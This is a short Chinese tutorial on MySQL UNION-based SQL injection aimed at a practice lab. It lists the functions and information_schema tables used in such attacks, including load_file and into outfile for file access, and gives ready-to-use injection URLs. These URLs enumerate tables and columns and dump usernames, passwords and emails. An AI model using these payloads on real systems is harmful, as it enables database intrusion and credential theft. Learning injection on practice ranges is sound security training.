基础sql语句可以去菜鸟教程或者B站等有很多资源
🍃1、web页面中有与数据库交互的点,可实现增删改查等操作
🍃2、控制参数,拼接传递任意想要执行的sql语句进入目标数据库执行
常见的mysql数据库查询函数和系统表介绍:
❤️ྀི常见函数
database() #数据库名称
version() #数据库版本
user() #数据库使用者
group_concat() #将参数拼接到一行集中输出
limit a,b #依次取值 从a+b的位置取b的值进行输出
hex() #对参数进行16进制编码
unhex() #对参数进行16进制解码
into outfile() #向服务器写入指定的文件
load_file() #读取服务器本地文件
❤️ྀི常用表
information_schema.schemata #存储了数据库中所有数据库的库名
information_schema.tables #存储了数据库中所有数据表的表名
information_schema.columns #存储了数据库中所有字段名
❤️ྀི常用字段
table_schema #数据库名
table_name #数据表名
column_name #数据列名
线上靶场:http://47.96.132.51:8080/sqli/
☀️1、查询表名
http://47.96.132.51:8080/sqli/01.php?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database() --+
☀️2、查询字段名
http://47.96.132.51:8080/sqli/01.php?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = database() and table_name="sqli" --+
☀️3、数据查询
http://47.96.132.51:8080/sqli/01.php?id=-1 union select 1,2,concat(id,username,password,email) from sqli --+
函数利用
into outfile()
load_file()
附录:浏览器插件分享
🥝HackBar 插件安装
🌼Adblock 广告禁用
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。